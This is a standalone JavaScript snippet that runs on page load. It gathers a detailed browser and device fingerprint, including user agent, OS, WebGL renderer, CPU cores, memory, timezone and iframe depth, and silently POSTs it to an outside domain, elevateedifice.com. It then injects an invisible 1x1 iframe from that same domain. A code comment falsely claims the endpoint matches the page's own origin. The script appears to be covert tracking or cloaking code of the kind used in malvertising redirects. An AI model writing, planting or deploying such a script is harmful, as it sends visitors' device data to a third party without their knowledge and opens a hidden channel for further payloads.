window.onload = () => { function detectOS(ua) { if (/windows phone/i.test(ua)) return "Windows Phone"; if (/android/i.test(ua)) return "Android"; if (/iPad|iPhone|iPod/.test(ua)) return "iOS"; if (/Macintosh/.test(ua)) return "macOS"; if (/Windows NT/.test(ua)) return "Windows"; if (/Linux/.test(ua)) return "Linux"; return "Unknown"; } function detectBrowser(ua) { ua = ua.toLowerCase(); if (ua.includes('fbav')) return "Facebook In-App Browser"; if (ua.includes('instagram')) return "Instagram In-App Browser"; if (ua.includes('line')) return "LINE In-App Browser"; if (ua.includes('tiktok')) return "TikTok In-App Browser"; if (ua.includes('wv') && ua.includes('android')) return "Android WebView"; if (ua.includes('crios') && !ua.includes('chrome')) return "iOS Chrome WebView"; if (ua.includes('fxios')) return "iOS Firefox WebView"; if (ua.includes('edgios')) return "iOS Edge WebView"; if (ua.includes('duckduckgo')) return "DuckDuckGo Browser"; if (ua.includes('vivaldi')) return "Vivaldi"; if (ua.includes('brave')) return "Brave"; if (ua.includes('samsungbrowser')) return "Samsung Internet"; if (ua.includes('tor')) return "Tor Browser"; if (ua.includes('edg/')) return "Microsoft Edge"; if (ua.includes('opr/') || ua.includes('opera')) return "Opera"; if (ua.includes('firefox')) return "Firefox"; if (ua.includes('chrome') && ua.includes('safari') && !ua.includes('edg')) return "Chrome"; if (ua.includes('safari') && !ua.includes('chrome')) return "Safari"; return "Unknown"; } /* --------------------------- main logic --------------------------- */ function getDeviceInfo() { console.log("Get fingerprint") const ua = navigator.userAgent || "unknown"; const platform = navigator.platform || "unknown"; const os = detectOS(ua); const browser = detectBrowser(ua); const languages = navigator.languages || [navigator.language || "unknown"]; const tz = Intl.DateTimeFormat().resolvedOptions().timeZone || "unknown"; const locale = Intl.DateTimeFormat().resolvedOptions().locale || "unknown"; const dateTime = new Date().toString(); const screenRes = `${screen.width}x${screen.height}`; const viewportSize = `${window.innerWidth}x${window.innerHeight}`; const colorDepth = screen.colorDepth || "unknown"; const cookieEnabled = navigator.cookieEnabled || false; const javaEnabled = navigator.javaEnabled ? navigator.javaEnabled() : false; const cpuCores = navigator.hardwareConcurrency || "unknown"; const deviceMemory = navigator.deviceMemory ? `${navigator.deviceMemory} GB` : "unknown"; const referrer = document.referrer || "none"; const touchSupport = 'ontouchstart' in window || navigator.maxTouchPoints > 0; const screenOrientation = (screen.orientation || {}).type || "unknown"; let clipboardAccess = false; try { clipboardAccess = !!navigator.clipboard; } catch {} let plugins = []; try { for (let i = 0; i < (navigator.plugins || []).length; i++) { plugins.push(navigator.plugins[i].name); } } catch {} let webglInfo = { vendor: 'unknown', renderer: 'unknown' }; try { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { const d = gl.getExtension('WEBGL_debug_renderer_info'); if (d) { webglInfo.vendor = gl.getParameter(d.UNMASKED_VENDOR_WEBGL); webglInfo.renderer = gl.getParameter(d.UNMASKED_RENDERER_WEBGL); } } } catch {} let iframeDepthA = 0; let currentWindow = window; try { while (currentWindow !== currentWindow.parent) { iframeDepthA++; currentWindow = currentWindow.parent; } } catch (e) { console.log("error fetch iframeDepth"); iframeDepthA = -1; console.log(e); } const payload = { os, browser, userAgent: ua, platform, languages, timezone: tz, locale, dateTime, screenResolution: screenRes, viewportSize, colorDepth, cookieEnabled, javaEnabled, cpuCores, deviceMemory, referrer, touchSupport, screenOrientation, clipboardAccess, plugins, webglInfo, iframeDepthA }; console.log(payload); /* Build endpoint so that its origin (scheme+host+port) matches the page. */ const endpoint = 'https://elevateedifice.com/go/download-js&testId=99e167f3-189c-4b46-8e60-825d5cfa1fa8'; /* ---- POST (send payload) → GET (check redirect flag) chain ---- */ fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(postResp => { if (!postResp.ok) throw new Error('POST failed: ' + postResp.status); }) .catch(err => { console.error('Error during fetch/redirect:', err); }); } getDeviceInfo(); const injectIframe = () => { const ifrm = document.createElement('iframe'); ifrm.src = 'https://elevateedifice.com/page-b?testId=99e167f3-189c-4b46-8e60-825d5cfa1fa8'; // usa el src que ya tienes ifrm.style.cssText = 'width:1px;height:1px;border:none;'; document.body.appendChild(ifrm); }; if (document.readyState === 'complete') { injectIframe(); } else { window.addEventListener('load', injectIframe, { once: true }); } }